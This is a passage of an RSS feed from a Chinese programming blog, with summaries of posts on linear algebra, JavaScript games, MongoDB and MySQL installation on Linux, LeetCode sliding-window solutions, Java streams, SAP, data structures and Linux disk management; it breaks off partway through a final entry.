      <description>一、通过矩阵乘法得到的线性方程组和原来的线性方程组同解吗？ 如果你进行的矩阵乘法涉及一个线性方程组 Ax = b，并且你乘以一个可逆矩阵 M，且产生新的方程组 M(Ax) = Mb，那么这两个系统是等价的；它们具有相同的解集。这是因为可逆矩阵的乘法可以视为一个可逆的线性变换，不会改变方程解的存在性或唯一性。&#xA;换句话说，如果你将原始系数矩阵 A 通过左乘以一个可逆矩阵 M 来转换成 MA，且同样将常数项向量 b 转化为 Mb，那么新的线性方程组 MAx = Mb 与原始的 Ax = b 同解，因为你可以通过乘以 M 的逆矩阵 M⁻¹ 来恢复原始的方程组。&#xA;也就是说，如果 M 是可逆的，那么两个方程组是等价的，解 x 是不变的。不过值得注意的是，解不会变，但是方程组的表现形式（系数矩阵）会变。&#xA;如果 M 不是可逆的，或者说是奇异的，那么矩阵乘法会改变方程组的解集。在实践中，我们通常寻找可逆的变换，以保持方程组的解不变。总的来说，在应用矩阵乘法和其他类型的变换时，理解矩阵操作如何影响线性方程组的解是非常重要的。&#xA;二、矩阵与表示线性方程组的增广矩阵相乘得到的增广矩阵表示的线性方程组，与最初的线性方程组同解吗？ 矩阵与代表线性方程组的增广矩阵相乘得到的增广矩阵表示的线性方程组的解是否相同依赖于所用的矩阵是不是可逆的。&#xA;如果你使用一个可逆矩阵 P 与线性方程组 Ax = b 的增广矩阵 [A | b] 相乘，即计算 PAx = Pb，且 P 为方程组系数矩阵 A 同阶的可逆矩阵，那么新的增广矩阵所表示的线性方程组将与原始的线性方程组具有相同的解集。这是因为左乘一个可逆矩阵相当于在原有方程上应用了一个可逆的行变换。&#xA;可逆的行变换包括：&#xA;1. 交换两行（对应于乘以一个置换矩阵）。&#xA;2. 用非零常数乘以一行（对应于乘以一个对角矩阵，且对角线上只有一个元素不为1）。&#xA;3. 将一行的非零倍加到另一行上（对应于乘以一个特殊形式的上（下）三角矩阵）。&#xA;行变换不改变方程组的解。因此，通过这样的变换得到的新系数矩阵 PA 和新的常数项 Pb 组成的新的增广矩阵所代表的线性方程组与原方程组是等价的。</description>
    </item>
    <item>
      <title>【JS】实现一个倒计时</title>
      <link>https://bchobby.github.io/posts/5c8fd5401b83ac4123354bfae949e690/</link>
      <pubDate>Wed, 27 Dec 2023 21:58:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c8fd5401b83ac4123354bfae949e690/</guid>
      <description>方案一： function countDown(time) { var nowTime = +new Date();//返回的是当前时间的总毫秒数 var inputTime = + new Date(time); //返回的是用户输入时间总的毫秒数 var times = (inputTime - nowTime) / 1000; //times是剩余时间的总数 var d = parseInt(times / 60 / 60 / 24); //计算天数 var h = parseInt(times / 60 / 60 % 24);//计算小时 var m = parseInt(times / 60 % 60);//计算分数 var s = parseInt(times % 60);//计算秒数 return d + &#39;天&#39; + h + &#39;时&#39; + m + &#39;分&#39; + s + &#39;秒&#39;; } document.</description>
    </item>
    <item>
      <title>【JS】快速实现一个猜奖游戏</title>
      <link>https://bchobby.github.io/posts/bd3a578cf4e518e2a918a01ca7982363/</link>
      <pubDate>Wed, 27 Dec 2023 21:53:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd3a578cf4e518e2a918a01ca7982363/</guid>
      <description>// 随机产生一个1~10的整数 function getRandom(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } // console.log(getRandom(1,10)); //猜奖游戏 /* var random = getRandom(1, 50); while (true) { var num = prompt(&#39;你来猜？输入1~10之间的一个数字&#39;); if (num &amp;gt; random) { alert(&#39;你猜大了&#39;); } else if (num &amp;lt; random) { alert(&#39;你猜小了&#39;); }else{ alert(&#39;帅气，回答正确！&#39;) break; } } console.log(random); */ var random = getRandom(1, 50); for (var i = 1; i &amp;lt;= 3; i++) { var num = prompt(&#39;你来猜？输入1~10之间的一个数字&#39;); if (Boolean(parseInt(num)) !</description>
    </item>
    <item>
      <title>Ubuntu安装MongoDB</title>
      <link>https://bchobby.github.io/posts/acf341f6d0b6e5aae485949cbc056372/</link>
      <pubDate>Wed, 27 Dec 2023 21:48:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acf341f6d0b6e5aae485949cbc056372/</guid>
      <description>Ubuntu（在线版） 更新软件源&#xA;sudo apt-get update 添加MongoDB的官方存储库&#xA;注：本文章安装MongoDB-7.0。&#xA;wget -qO - https://www.mongodb.org/static/pgp/server-7.0.asc | sudo apt-key add - 将地址添加到系统的软件包源列表中&#xA;echo &#34;deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu $(lsb_release -cs)/mongodb-org/7.0 multiverse&#34; | sudo tee /etc/apt/sources.list.d/mongodb-org-7.0.list 更新软件源&#xA;sudo apt-get update 安装MongoDB&#xA;sudo apt install mongodb-org 启动服务&#xA;systemctl start mongod 查看MongoDB状态&#xA;systemctl status mongod 看到activate即启动成功&#xA;进入Mongo-Shell&#xA;mongosh 测试MongoDB&#xA;show dbs # 展示数据库 无报错则输出数据库名&#xA;Ubuntu（离线版） 进入下载链接选择MongoDB版本下载&#xA;https://www.mongodb.com/try/download/community&#xA;注：本文章下载mongodb-linux-x86_64-ubuntu2004-7.0.4.tgz 解压文件到指定目录&#xA;tar -xvf mongodb-linux-x86_64-ubuntu2004-7.0.4.tgz -C /usr/local 进入解压后的目录&#xA;cd /usr/local/mongodb-linux-x86_64-ubuntu2004-7.0.4 查看版本</description>
    </item>
    <item>
      <title>Python地理数据机器学习数学</title>
      <link>https://bchobby.github.io/posts/90a51b7ced85848acaf79d0c3fa89bbe/</link>
      <pubDate>Wed, 27 Dec 2023 21:13:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90a51b7ced85848acaf79d0c3fa89bbe/</guid>
      <description>地理数据 地理数据是存储在地理信息系统 (GIS) 中的位置信息。通过查看具有地理成分的数据，我们可以通过不同的视角来看待它。&#xA;用地理数据解决位置问题需要空间思维。让我们深入了解地理数据的类型、主题和来源。&#xA;类型 地理数据有不同类型，每种类型在使用方式上都有其独特的价值。&#xA;无论数据来自政府、私人来源还是开放数据，了解数据的类型、数据的来源、数据的收集方式以及数据的用途都很重要。&#xA;矢量文件：矢量数据由顶点和路径组成。矢量数据的三种基本类型是点、线和多边形（面）。每个点、线和多边形都有一个空间参考系，例如纬度和经度。首先，向量点只是 XY 坐标。其次，矢量线以特定顺序将每个点或顶点与路径连接起来。最后，多边形连接一组顶点。但它包围了第一个和最后一个顶点，创建了一个多边形区域。光栅文件：栅格数据由像素或网格单元组成。通常，它们是方形的并且间隔规则。但光栅也可以是矩形的。栅格将值与每个像素相关联。连续栅格具有逐渐变化的值，例如海拔或温度。但离散栅格将每个像素设置为特定类别。例如，我们将土地覆盖类别表示为一组值。地理数据库：地理数据库的目的是存储矢量和栅格。数据库将地理数据存储为一组结构化的数据/信息。例如，Esri 地理数据库、地理包和 SpatiaLite 是最常见的地理数据库类型。我们使用地理数据库，因为这是一种将所有数据放入单个容器中的方法。在这个容器中，我们可以构建网络、创建马赛克、进行版本控制并管理复杂的空间关系，从而实现地理数据的全面分析和表示。网页文件：例如，GeoJSON、GeoRSS 和 Web 地图服务 (WMS) 专门用于通过互联网提供和显示地理特征。此外，Esri 的 ArcGIS Online 等在线平台允许组织在云中构建数据仓库。多时相：多时态数据将时间成分附加到信息上。但多时相地理数据不仅具有时间成分，还具有地理成分。例如，天气和气候数据跟踪温度和气象信息在地理背景下如何随时间变化。多时相地理数据的其他示例包括人口趋势、土地利用模式和雷击。 Python处理地理数据 读取形状文件 首先，我们将导入 geopandas 库，然后使用变量“world_data”读取我们的 shapefile。 Geopandas 可以使用以下命令读取几乎任何基于矢量的空间数据格式，包括 ESRI shapefile、GeoJSON 文件等：&#xA;import geopandas as gpd # Reading the world shapefile world_data = gpd.read_file(r&#39;world.shp&#39;) world_data 绘图 如果您想检查正在使用的数据类型，请转到控制台并输入“type(world_data)”，它会告诉您这不是 pandas 数据，而是 geopandas 地理数据。接下来，我们将使用plot()方法绘制这些GeoDataFrame。&#xA;import geopandas as gpd # Reading the world shapefile world_data = gpd.read_file(r&#39;world.shp&#39;) world_data.plot() 选择列 如果我们看到“world_data”GeoDataFrame 显示了许多列（Geoseries），您可以通过以下方式选择特定的 Geoseries：</description>
    </item>
    <item>
      <title>MySQL8 一键部署</title>
      <link>https://bchobby.github.io/posts/3aa634ca927d014c0247573d9ddea269/</link>
      <pubDate>Wed, 27 Dec 2023 20:16:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3aa634ca927d014c0247573d9ddea269/</guid>
      <description>#!/bin/bash&#xA;### 定义变量&#xA;mysql_download_url=https://cdn.mysql.com//Downloads/MySQL-8.0/mysql-8.0.33-linux-glibc2.12-x86_64.tar.xz&#xA;mysql_package_name=mysql-8.0.33-linux-glibc2.12-x86_64.tar.xz&#xA;mysql_dec_name=mysql-8.0.33-linux-glibc2.12-x86_64&#xA;mysql_download_dir=&#34;/usr/local/src&#34;&#xA;mysql_base_dir=&#34;/usr/local/mysql&#34;&#xA;mysql_data_dir=&#34;/data/mysql&#34;&#xA;mysql_root_password=!@#123QAz&#xA;ck_ok()&#xA;{&#xA;if [ $? -ne 0 ]&#xA;then echo &#34;$1 error.&#34;&#xA;exit 1&#xA;fi&#xA;}&#xA;dependon_install()&#xA;{&#xA;if which yum &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&#xA;then&#xA;for pkg in &#34;$@&#34;&#xA;do&#xA;if ! rpm -q ${pkg} &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&#xA;then&#xA;sudo yum install -y ${pkg}&#xA;else&#xA;echo &#34;${pkg}已安装&#34;&#xA;fi&#xA;done&#xA;fi&#xA;if which apt &amp;gt;/dev/mull 2&amp;gt;&amp;amp;1&#xA;then&#xA;for pkg in &#34;$@&#34;&#xA;do</description>
    </item>
    <item>
      <title>力扣热题100道-滑动窗口篇</title>
      <link>https://bchobby.github.io/posts/6c082801ce7f89acefbddbaed6193bd8/</link>
      <pubDate>Wed, 27 Dec 2023 20:11:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c082801ce7f89acefbddbaed6193bd8/</guid>
      <description>滑动窗口 3.无重复字符的最长字串 给定一个字符串 s ，请你找出其中不含有重复字符的 最长子串 的长度。&#xA;示例 1:&#xA;输入: s = &#34;abcabcbb&#34; 输出: 3 解释: 因为无重复字符的最长子串是 &#34;abc&#34;，所以其长度为 3。 示例 2:&#xA;输入: s = &#34;bbbbb&#34; 输出: 1 解释: 因为无重复字符的最长子串是 &#34;b&#34;，所以其长度为 1。 示例 3:&#xA;输入: s = &#34;pwwkew&#34; 输出: 3 解释: 因为无重复字符的最长子串是 &#34;wke&#34;，所以其长度为 3。 请注意，你的答案必须是 子串 的长度，&#34;pwke&#34; 是一个子序列，不是子串。 /* 思路：滑动窗口 用一个哈希表，i,j作为滑动窗口，当hash[i]==2时候，j++,直到去除重复的为止 */ class Solution { public: int lengthOfLongestSubstring(string s) { unordered_map&amp;lt;char,int&amp;gt;hash; int res=0; for(int i=0,j=0;i&amp;lt;s.size();i++){ hash[s[i]]++; while(hash[s[i]]&amp;gt;1) hash[s[j++]]--; res = max(res,i-j+1); } return res; } }; 438.</description>
    </item>
    <item>
      <title>Java：List转Map （用stream实现）</title>
      <link>https://bchobby.github.io/posts/3cf5b657e6a451d549eda8938bf15803/</link>
      <pubDate>Wed, 27 Dec 2023 19:54:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cf5b657e6a451d549eda8938bf15803/</guid>
      <description>前言：JDK1.8及其以上，才支持下面案例 //实体类 public class Student { private String no; //学号 private String name;&#x9;//姓名 private Integer age; //年龄 //构造方法忽略 //set、get 方法忽略 } public class Teacher{ private String no; //教师号 private String name; //姓名 private Integer age; //年龄 } 一、List&amp;lt;Object&amp;gt; 转 Map&amp;lt;String, String&amp;gt; //注意事项 //在使用java.util.stream.Collectors 类的 toMap()方法转为 Map集合时，一定要注意当Map的value为null时会抛空指针异常！！！（如：下面示例的getName不可为空！！！） //声明一个List集合 List&amp;lt;Student&amp;gt; list = new ArrayList(); list.add(new Student(&#34;1001&#34;, &#34;小A&#34;, 15)); list.add(new Student(&#34;1001&#34;, &#34;小B&#34;, 20));//学号重复（下面特殊处理） list.add(new Student(&#34;1002&#34;, &#34;小C&#34;, 15)); list.add(new Student(&#34;1003&#34;, &#34;小D&#34;, 30)); //将list转map 【key为1个属性,value为1个属性】 （map的键重复不会报错，下面已经处理）（注意：getName不可为空！！！） Map&amp;lt;String, String&amp;gt; map = list.</description>
    </item>
    <item>
      <title>matinal：SAP SD模块中POD功能使用方法</title>
      <link>https://bchobby.github.io/posts/9ea311339419f133df32efbe81e14dcd/</link>
      <pubDate>Wed, 27 Dec 2023 19:41:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ea311339419f133df32efbe81e14dcd/</guid>
      <description>🚀欢迎来到本文🚀&#xA;🍉个人简介：matinal，目前职业是IT行业，一个正在慢慢前行的普通人。&#xA;🏀系列专栏：涵盖SAP各模块，Python，Excel，人工智能等&#xA;💡 其他专栏：一些平时学习的技术，感兴趣的小伙伴可以看看。&#xA;🍔公众号：matinal&#xA;🎁希望各位→点赞👍 + 收藏⭐️ + 留言📝 ​&#xA;⛱️万物从心起，心动则万物动🏄‍♂️&#xA;前言：介绍一个不太常规的SAP功能。&#xA;🦙（工作遇到傻逼，千万要远离。道路千万条，远离傻逼第一条）&#xA;介绍一个不太常规的SAP功能。POD&#xA;在某些行业，销售发货给客户，中途可能有损耗。发货数量与客户收获数量不等。例如液体或散装物等等。&#xA;这样的话，开票数量要根据客户确认数量而不是发货数量，而交货成本还是根据交货数量来算。&#xA;VLPOD 交货证明&#xA;注释：&#xA;POD也不能做差异的冲销，这个与冲销PGI是不一样的，冲销PGI后是会形成库存成品，而POD则是用于按客户确认数开票，即库存我们还是出的是deilvery的quantity,但做了POD后，invoice就会按POD确认的数量，可以多也可以少，去开发票.即成本还是不变，但收入增加或减少&#xA;怎么样，在了解SD模块中POD功能使用方法后，有何感想？&#xA;如果本文对大家有所帮助的话，还望各位能给我点赞、收藏并评论一下，感谢各位💕！！！ 另如果大家有什么疑问或者建议的话，欢迎评论区留言。更多精彩内容-&amp;gt;在这里</description>
    </item>
    <item>
      <title>写一个随机点名的程序</title>
      <link>https://bchobby.github.io/posts/277adde65016a45fb8a78e4234981833/</link>
      <pubDate>Wed, 27 Dec 2023 19:12:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/277adde65016a45fb8a78e4234981833/</guid>
      <description>获取方式：&#xA;链接：https://pan.baidu.com/s/1fdCJ_3IYUl7v7x6I1zAWgg&#xA;提取码：1234&#xA;这里面用到JS当中的数组，random以及window.setInterval（）回调函数来进行实现的.</description>
    </item>
    <item>
      <title>Enhance PDF Document Reviews Crack</title>
      <link>https://bchobby.github.io/posts/90fbbc75022d944996ea47f4459bd03e/</link>
      <pubDate>Wed, 27 Dec 2023 19:12:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90fbbc75022d944996ea47f4459bd03e/</guid>
      <description>Enhance PDF Document Reviews Crack Document Solutions for PDF v7 gains the ability to precisely point out missing content or required changes to PDF files.&#xA;Document Solutions for PDF (formerly GrapeCity Documents for PDF), is a powerful and comprehensive C# library that empowers developers to create, manipulate, and manage PDF documents with ease. This versatile product enables developers to generate PDFs from scratch, modify existing documents, import and export data, and incorporate advanced features like AcroForms and annotations.</description>
    </item>
    <item>
      <title>Linux实验一：熟悉Linux基本命令</title>
      <link>https://bchobby.github.io/posts/e5073b5a8e99879221662f5831f8f824/</link>
      <pubDate>Wed, 27 Dec 2023 19:11:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5073b5a8e99879221662f5831f8f824/</guid>
      <description>Linux实验一：熟悉Linux基本命令&#xA;【实验目的】&#xA;‏(1)熟悉常用的文件和目录类命令。&#xA;‏(2)熟悉常用的进程管理类命令。&#xA;‏【实验要求】&#xA;本实验的主要任务是在Linux终端窗口中练习已经学过的各种命令，熟练掌握常用命令的用法。清大家按照以下步骤完成本次实验。&#xA;‏(1)以普通用户登录系统，登录后，打开一个终端窗口。&#xA;‏(2)查看当前工作目录; 在当前目录中新建、并切换到tmp子目录。&#xA;‏(3)在tmp目录中新建文件file1和目录dir1; 查看tmp目录中有哪些内容，显示详细信息并根据输出信息判断哪些是普涌文件，哪些是目录。&#xA;‏(4)新建文件file2和file3; 将file2移动到dir1中，移动后的文件重命名为file2.bak; 将file3复制到dir1中，进入dir1目录并查看其中的内容。&#xA;‏(5)退回到tmp目录; 删除文件file1和目录dir1。&#xA;‏(6)回到步骤(1)最初的目录，查看tmp目录中的内容，并把输出重定向到file3中。&#xA;‏(7)查看当前用户的进程。&#xA;‏(8)在后台运行cat命令，然后结束这个进程。&#xA;‏(9)撰写【实验小结】：对本实验的知识点做个总结&#xA;‏(10)撰写【实验感想】：通过本实验，体会到了Linux操作系统的日常工作模式？可以与你熟悉的操作系统做个简单对比，也可描述一下自己初次接触Linux的感想。&#xA;[实验内容]&#xA;‏(1)以普通用户登录系统，登录后，打开一个终端窗口。&#xA;‏(2)查看当前工作目录; 在当前目录中新建、并切换到tmp子目录。&#xA;‏(3)在tmp目录中新建文件file1和目录dir1; 查看tmp目录中有哪些内容，显示详细信息并根据输出信息判断哪些是普涌文件，哪些是目录。&#xA;file1是普通文件，dir1是目录&#xA;‏(4)新建文件file2和file3; 将file2移动到dir1中，移动后的文件重命名为file2.bak; 将file3复制到dir1中，进入dir1目录并查看其中的内容。&#xA;‏(5)退回到tmp目录; 删除文件file1和目录dir1。&#xA;‏(6)回到步骤(1)最初的目录，查看tmp目录中的内容，并把输出重定向到file3中。&#xA;‏(7)查看当前用户的进程。&#xA;‎&#xA;‏(8)在后台运行cat命令，然后结束这个进程</description>
    </item>
    <item>
      <title>打地鼠游戏来了</title>
      <link>https://bchobby.github.io/posts/85648bac4fe6a4343671c14d151cde47/</link>
      <pubDate>Wed, 27 Dec 2023 19:03:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85648bac4fe6a4343671c14d151cde47/</guid>
      <description>主要利用js鼠标点击事件和window.setInterval（）回调函数来进行实现的.&#xA;源码获取方式：链接：https://pan.baidu.com/s/1eW9qvX3zFH9qlH82-I4yOA&#xA;提取码：1233</description>
    </item>
    <item>
      <title>各个版本的gradle下载</title>
      <link>https://bchobby.github.io/posts/f3f5c3d9309fbceeebff9aca08905fac/</link>
      <pubDate>Wed, 27 Dec 2023 18:45:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3f5c3d9309fbceeebff9aca08905fac/</guid>
      <description>gradle-6.5-bin.zip&#xA;链接：https://pan.baidu.com/s/1HZlluvM8EalUgPs-5JKPgA?pwd=qmzb 提取码：qmzb&#xA;gradle-5.6.4-all.zip&#xA;链接：https://pan.baidu.com/s/1hpQsCRMRfOSNYItSQONapQ?pwd=eq8v 提取码：eq8v</description>
    </item>
    <item>
      <title>产品经理学习-策略产品指标</title>
      <link>https://bchobby.github.io/posts/a146c3aaf5e3f515f791ea522f97eb7c/</link>
      <pubDate>Wed, 27 Dec 2023 18:41:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a146c3aaf5e3f515f791ea522f97eb7c/</guid>
      <description>目录：&#xA;数据指标概述&#xA;通用指标介绍&#xA;Web端常用指标&#xA;移动端常用指标&#xA;如何选择一个合适的数据指标&#xA;数据指标概述 指标是衡量目标的一个参数，指一项活动中预期达到的指标、目标等，一般用数据表示，因此又称为数据指标；&#xA;需求量化&#xA;美团天天一元起活动，协同美团外卖APP需求&#xA;新客量：活动引入的新客数；&#xA;订单量：活动引入的订单数&#xA;价值可视化&#xA;双十一活动，阿里巴巴提供可视化看板&#xA;产品数据可视化看板（流量、用户量、订单量）&#xA;迭代依据&#xA;优化搜索排序策略是为了提升搜索结果页点击转化率，点击转化率越高越表妹流量分发效率越高；&#xA;优化页面展示为了提升用户在应用内的停留时间&#xA;通用指标介绍 注册用户/首次登录用户数&#xA;表明的产品市场价值，占有率的一个指标&#xA;活跃用户数&#xA;指在一定的时间范围内，登录网站或者启动APP的独立用户之和，独立用户是指按照ip地址/设备号去重后的用户&#xA;DAU(日活跃用户)：以某个自然日来统计，比如一个用户在一日之内无论使用app多少次，DAU都是1&#xA;MAU(日活跃用户)：以某个自然月来统计，比如一个用户在一月之内无论使用app多少次，MAU都是1&#xA;相比注册用户，活跃用户可以真实表明当前业务的发展现状，也是产品最有价值的群体&#xA;新增用户：历史上第一次登录网站或者启动APP的用户，需要按照ip地址或者设备号进行去重。&#xA;留存用户：规定时间T1内的新增用户中，在经过一段时间T2后，仍然使用程序的用户&#xA;页面平均停留时长：指用户在应用内页面的停留时间长度。一方面是衡量产品对用户的吸引力，一方面也是衡量当前流程的效率。&#xA;Web页面平均停留时长=全站停留时间总和/全站的页面浏览量&#xA;访问web某网站总共访问了4个一维码，用时20s；则web页面平均停留时长为5s&#xA;APP页面平均停留时长=Average（离开页面时间-进入页面时间）&#xA;页面访问深度：指用户在一定的时间范围内，在应用内访问页面的数量，无需去重&#xA;Web页面平均访问深度=浏览页面数量/访问次数&#xA;APP页面访问呢深度是指用户在一次启动APP过程中所到达的页面累计数量视为用户的访问深度；例如某个用户一次访问app，访问了12个页面，则该用户的访问呢深度为12&#xA;Web端常用指标 页面浏览量(PV) 指页面被浏览的次数总和，指网站或页面包含的所有页面被浏览的总次数，无需去重，求和累加&#xA;独立访问量(UV) 依据浏览器Cookie标识访客，对所有访客按统计区间的排重处理后的数量，UV统计的是形式上的单个用户，并不是真正意义的自然用户，比如同一个用户在不同地方的浏览器访问一个网站，UV是2。&#xA;访问次数（访次） 依据浏览器Cookie标识回话，对所有会话按统计区间的排重处理后的数量&#xA;移动端常用指标 曝光 指页面的某些模板、区域被用户有效浏览；&#xA;曝光PV：曝光次数、曝光累加&#xA;曝光UV：曝光人次，曝光按照唯一标识去重后叠加&#xA;点击转化率CTR 指用户从一个场景通过点击进入另一个场景的比例大小&#xA;CTR=点击次数/曝光 （从PV的角度统计）&#xA;UCTR=点击人数/曝光人数（从UV角度统计）&#xA;订单转化率CVR 曝光订单转化率，是指用户访问某一场景后下单的比例&#xA;CVR=订单总数/曝光次数（从PV的角度统计）&#xA;UCVR=下单人数/曝光人数（从UV的角度统计）&#xA;RPM 千次展示收益，指页面模块展示1000次带来的收益&#xA;RPM=引入订单金额/曝光PV*1000&#xA;RPM通常用于衡量策略产品模块整体的收益效果&#xA;UV价值 UV价值是用来衡量每一个独立访客能够带来的价值（收益）&#xA;计算公式：UV=引入订单金额/曝光UV&#xA;如何选择一个合适的数据指标 选择合适的数据指标，首先要确定目的是什么，在不同的产品业务发展周期，目标是不同的&#xA;业务发展初始以流量类指标为主，DAU、MAU和曝光PV/UV；业务发展期中以流量转化为主CTR；业务发展成熟期以订单、金额指标为主RPM、CVR、UV价值</description>
    </item>
    <item>
      <title>【数据结构】树</title>
      <link>https://bchobby.github.io/posts/6912528e0348be77ee7fe49f88eb560c/</link>
      <pubDate>Wed, 27 Dec 2023 18:40:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6912528e0348be77ee7fe49f88eb560c/</guid>
      <description>一.二叉树的基本概念和性质： 1.二叉树的递归定义： 二叉树或为空树，或是由一个根结点加上两棵分别称为左子树和右子树的、互不相交的二叉树组成&#xA;2.二叉树的特点： （1）每个结点最多只有两棵子树，即不存在结点度大于2的结点&#xA;（2）子树有左右之分，不能颠倒。&#xA;3.满二叉树： 深度为k，且有个结点的二叉树。&#xA;（1）每一层上结点数都达到最大。&#xA;（2）度为1的结点数&#xA;4.完全二叉树： 深度为k，结点数为n的二叉树，当且仅当每个结点的编号都与相同深度的满二叉树中从1到n的结点一一对应时，称为完全二叉树。&#xA;（1）完全二叉树的任意结点，左子树的高度-右子树的高度=0或1&#xA;5.二叉树的性质： 1）在二叉树的第i层，至多有个结点。&#xA;2）深度为k的二叉树上至多含有个结点。&#xA;3) 证明如下：&#xA;二叉树中全部结点数&#xA;除根结点外，每个结点必有一个直接前驱，即一个分支&#xA;（1度结点必有1个直接后继，2度结点必有2个直接后继）&#xA;即：&#xA;叶子数=2度结点数+1&#xA;4）具有n个结点的完全二叉树的深度为&#xA;5)&#xA;对有n个结点的完全二叉树的结点按层序编号，则对于任一结点i，有：&#xA;如果i=1，则结点i是二叉树的根，无双亲；如果i&amp;gt;1，则其双亲是i/2如果2i&amp;gt;n，则结点i无左孩子；如果，则其左孩子是2i如果2i+1&amp;gt;n，则结点i无右孩子；如果，则其右孩子是2i+1 例题：&#xA;设一棵完全二叉树具有1000个结点，则它有489个叶子结点，有488个度为2的结点，有1个结点只有非空左子树，有0个结点只有非空右子树。&#xA;二.二叉树、树以及森林的存储结构 1.二叉树的顺序存储结构 用一组地址连续的存储单元，以层序顺序存放二叉树的数据元素，结点的相对位置蕴含着结点之间的关系。&#xA;问：顺序存储后能否复原成唯一对应的二叉树形状？&#xA;若是完全二叉树则可以完全复原，下标值为i的双亲，左孩子为2i，右孩子为2i+1。&#xA;而对于一般的二叉树的存储，将其先补成完全二叉树，然后按照完全二叉树的顺序存储方式进行存储，而新补上的结点只占位置，不存放数据元素。&#xA;对于一般二叉树的顺序存储，如果是斜树，则会浪费很多的存储空间，而且插入删除不便。&#xA;2.二叉树的链式存储结构 有一个指向根的指针root&#xA;二叉链表：2个链分别存放左孩子和右孩子。&#xA;三叉链表：2个链分别存放左孩子和右孩子另外一个指向双亲。&#xA;线索链表：用空链域存放前驱或后继。&#xA;2.1 二叉链表： 结点结构：&#xA;lchilddatarchild typedef struct BiTreeNode{ DataType data; struct BiTreeNode *lchild,*rchild; }BiTreeNode,*BiTree; 2.2 三叉链表： 结点结构：&#xA;parentlchilddatarchild typedef struct BiTreeNode{ DataType data; struct BiTreeNode *lchild,*rchild,*parent; }BiTreeNode,*BiTree; 3.树和森林的存储结构 3.1 树的双亲表示法 对于一个结点来说，双亲是一定的。</description>
    </item>
    <item>
      <title>第六章 Linux 磁盘管理</title>
      <link>https://bchobby.github.io/posts/730592cd1978da53548ad014454ab97d/</link>
      <pubDate>Wed, 27 Dec 2023 18:37:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/730592cd1978da53548ad014454ab97d/</guid>
      <description>第六章 Linux 磁盘管理 1、磁盘分区、格式化、文件系统、文件系统类型、挂载、挂载点 的概念1）对该磁盘进行分区（分割）2）对某个分区进行格式化3）挂载4）一块硬盘需要经过哪些步骤才可以被我们 Linux 操作系统用来实际的存取数据呢？ 2、查看文件系统使用情况（比如容量空间的使用情况）4、列出所有可用块设备的信息（即列出系统上所有存储5、磁盘分区1）通过 MSDOS (MBR) 分区表 方式分区2）GPT 分区表（GUID partition table） 方式分区3）partprobe [-s]4）parted 命令 6、格式化（写入文件系统）1）Linux 下常见的文件系统类型：2）格式化操作3）查看文件系统信息 7、挂载/卸载文件系统1）使用 mount 进行手动挂载 1、磁盘分区、格式化、文件系统、文件系统类型、挂载、挂载点 的概念 如果我们想在系统中增加一块硬盘用于数据存取，那么大概需要以下步骤：&#xA;1）对该磁盘进行分区（分割） 目的，一是为了分割硬盘空间方便管理，更重要的是让各个分区都基本独立开来，这样如果某个区发生问题，至少不会直接影响到其他分区。&#xA;举例：如果把一块磁盘比喻成一大块地，那么对磁盘进行分区就相当于是把地按照需要划分成几块地或者几个区域。划分出来的某块地或者某个区域我们一般称作“某个分区”&#xA;2）对某个分区进行格式化 各种操作系统都必须按照一定的方式来管理数据，对分区进行格式化的目的是为了在分区里写入文件系统，这样才能被操作系统使用。&#xA;举例：我们把向磁盘里存数据比喻成现实生活中向“银行保管箱”里存物贵重品&#xA;地刚刚你已经分好了，可是这个地你能直接用来存物品吗？当然不行，你得在分好的某块地上建好大厦以及在大厦里构建保管柜，这样才能够用于存储物品。&#xA;■ 磁盘分区也是同样的道理，要想能够被操作系统用于实际的存储数据，还得在磁盘分区里写入文件系统，也就是所谓的“格式化”，即操作系统需要按照特定的规划去建设开发这个分区，开发好后才能被操作系统用作数据存储。&#xA;■ 问一下：向分区写入文件系统，这个文件系统本身会占用磁盘空间吗？&#xA;■ 在地上建设大厦和构建保管柜，建设大厦时肯定可以有不同的结构供选择吧？保管柜也有不同的品牌供选择吧？同样的，文件系统也有不同的类型供选择，比如我们 windows 下常见的 NTFS、FAT32 等，它们就是传说中的文件系统类型，而 Linux 下常见的文件系统类型有 EXT*（比如 EXT4）、xfs 等等，具体我们后面讲。&#xA;■ 一个分区被格式化（写入文件系统，不管是什么类型的文件系统）后，我们就可以称作它是一个“文件系统”&#xA;3）挂载 这个就是把某个文件系统用管子接到某个目录上，对应的目录就称作挂载点，参考第一回！&#xA;4）一块硬盘需要经过哪些步骤才可以被我们 Linux 操作系统用来实际的存取数据呢？ 分区（分割） -&amp;gt; 对（某个）分区进行格式化（写入文件系统） -&amp;gt; 挂载&#xA;所以比较讲究的说法是：我们称呼一个可被挂载的数据为一个文件系统，而不是叫一个分区&#xA;请问：第一步 分区（分割） 是必须的吗？一整块磁盘可不可以不进行分区就直接格式化，然后挂载使用&#xA;2、查看文件系统使用情况（比如容量空间的使用情况） df [-ihT] [FILE...] 注： FILE 可以直接指定文件系统（路径），则会打印出该文件系统的磁盘空间使用情况； FILE 也可以指定为非文件系统文件的路径则会输出该文件相关的文件系统的磁盘空间使用情况； 选项： -i：以 inode 数量显示 -h：以较易阅读的单位来显示容量 -T：显示出分区的文件系统格式名称 3、查看目录所占容量（包括其后代文件所占） du [-ahcs] FILE.</description>
    </item>
    <item>
      <title>普中STM32-PZ6806L开发板(使用过程中的问题收集)</title>
      <link>https://bchobby.github.io/posts/40aa210fdc6752568d91cc935856f476/</link>
